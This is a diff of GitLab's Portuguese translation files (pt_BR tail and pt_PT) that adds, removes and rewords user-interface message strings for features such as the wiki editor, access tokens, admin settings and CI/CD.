-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr "Você pode facilmente contribuir para eles pedindo para se juntar nesses grupos."
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr "Você deve fornecer uma senha atual válida"
msgid "You must provide your current password in order to change it."
msgstr "Você deve fornecer sua senha atual para alterá-la."
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr "Seus projetos (padrão)"
msgid "Your Projects' Activity"
msgstr "Atividade dos seus projetos"
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr "Seu comentário não pôde ser atualizado! Por favor, verifique sua cone
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr "Seus projetos"
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr "não é possível bloquear a si próprio"
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr "não foi possível ler a chave privada, a senha está correta?"
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr "habilitado"
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr "Fazer merge"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Falha ao fazer merge."
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr "Abrir na Web IDE"
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr "Pipeline bloqueada. A pipeline para este merge request requer uma ação manual para continuar"
-
msgid "mrWidget|Plain diff"
msgstr "Diff em texto"
@@ -39159,8 +38994,8 @@ msgstr "O HEAD do branch origem foi modificado recentemente. Por favor, recarreg
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
-msgstr "O branch origem está %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} do branch destino"
+msgid "mrWidget|The source branch is %{link} the target branch"
+msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/pt_PT/gitlab.po b/locale/pt_PT/gitlab.po
index 85b8a57492e..751058a8d01 100644
--- a/locale/pt_PT/gitlab.po
+++ b/locale/pt_PT/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: pt-PT\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:46\n"
+"PO-Revision-Date: 2021-07-01 21:32\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d camada"
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr "%{count} aprovações de %{name}"
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,11 +672,11 @@ msgstr "%{level_name} não é permitido num grupo %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} não é permitido uma vez que o projeto de origem do fork tem uma visibilidade mais baixa."
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "%{link_start}Lê mais%{link_end} sobre as permissões de função"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr "%{state} épicos"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}Aprende mais%{usage_ping_link_end} sobre quais informações são compartilhadas com o GitLab Inc."
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,14 +1762,14 @@ msgstr "Token de email recebido"
msgid "AccessTokens|It cannot be used to access any other data."
msgstr "Não pode ser usado para acessar nenhum outro dado."
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Mantém este token secreto. Qualquer um que conseguir isso, pode criar problemas como se fossem tu. Deverias %{link_reset_it}, caso isso acontecer."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Mantém este token secreto. Qualquer pessoa que tenha contacto com ele pode ler atividades e enviar feeds RSS ou o feed da tua agenda como se fossem tu. Deverias %{link_reset_it}, caso isso acontecer."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
msgid "AccessTokens|Personal Access Tokens"
msgstr "Tokens de Acesso Pessoal"
@@ -1783,17 +1786,17 @@ msgstr "Também podes usar tokens de acesso pessoal para autenticar contra Git a
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr "Podes gerar um token de acesso pessoal para cada aplicação que usas, que precisa de acesso à API do GitLab."
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
-msgstr "redefini-lo"
+msgid "AccessTokens|reset this token"
+msgstr ""
msgid "AccessibilityReport|Learn more"
msgstr ""
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr "Adicionar um comentário geral para este %{noteable_name}."
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "Adiciona uma página inicial à tua wiki que confoi informações sobre o teu projeto e o GitLab irá exibi-lo aqui, ao invés desta mensagem."
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "Nenhum utilizador especificado."
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "Ativar executadores compartilhados aos novos projetos"
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr "Variáveis de ambiente são protegidas por padrão"
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,20 +2371,23 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr "Nenhum pipeline necessário"
+msgid "AdminSettings|Protect CI/CD variables by default"
+msgstr ""
+
msgid "AdminSettings|Required pipeline configuration"
msgstr "Configuração de pipeline necessária"
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
-msgstr "Seleciona um ficheiro de configuração de pipeline"
-
-msgid "AdminSettings|Select a template"
-msgstr "Seleciona um modelo"
+msgid "AdminSettings|Select a CI/CD template"
+msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -2383,8 +2398,8 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
-msgstr "Define uma %{link_start}configuração de pipeline%{link_end} automática incluída em toda a instância. Esta configuração de pipeline será executada após a Configurações do próprio projeto."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
+msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Especifica um domínio para utilizar por padrão para cada projeto, Revisão Automática de Aplicações e Implementação Automática de fases."
@@ -2392,11 +2407,8 @@ msgstr "Especifica um domínio para utilizar por padrão para cada projeto, Revi
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr "A configuração de pipeline necessária pode ser selecionada no diretório %{code_start}gitlab-ci%{code_end} dentro do %{link_start}repositório modelo de instância%{link_end} configurado ou das configurações fornecidas pelo GitLab."
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
-msgstr "Ao criar uma nova variável de ambiente, ela será protegida por padrão."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
+msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
msgstr ""
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr "Todos os grupos e projetos"
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "Ocorreu um erro ao alternar a notificação de assinatura"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "Ocorreu um erro ao atualizar o peso do problema"
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr "Ocorreu um erro ao ativar a Central de Serviços."
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "Ocorreu um erro ao receber os projetos"
@@ -3762,9 +3792,6 @@ msgstr "Ocorreu um erro ao atualizar o comentário"
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr "Aplicar sugestão"
@@ -4133,15 +4157,9 @@ msgstr "Nome"
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr "Pelo menos uma aprovação de um código proprietário é necessário para alterar ficheiros que coincidem com as respetivas regras de CODEOWNER."
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr "Auto DevOps"
msgid "Auto DevOps enabled"
msgstr "Auto DevOps ativado"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr "Auto DevOps, artefacto de executadores e trabalho"
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr "Expandir"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr "Procurar ficheiros"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,11 +5806,11 @@ msgstr "Estratégia de implantação"
msgid "CICD|Jobs"
msgstr "Trabalhos"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
-msgstr "A pipeline de Auto DevOps será executada, se nenhum ficheiro de configuração de IC alternativo, for encontrado."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
msgid "CICD|group enabled"
msgstr "grupo ativado"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL de Resposta"
@@ -5947,9 +5980,6 @@ msgstr "Não foi possível criar o relatório de abuso. Este utilizador foi bloq
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr "Alterar caminho"
-msgid "Change permissions"
-msgstr "Alterar permissões"
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr "Escolhe um ficheiro"
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr "Escolhe uma permissão de função"
-
msgid "Choose a template"
msgstr "Escolhe um modelo"
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "Escolhe o grupo de nível superior para as tuas importações de repositório."
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr "%{appList} foi instalado com sucesso no teu cluster Kubernetes"
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
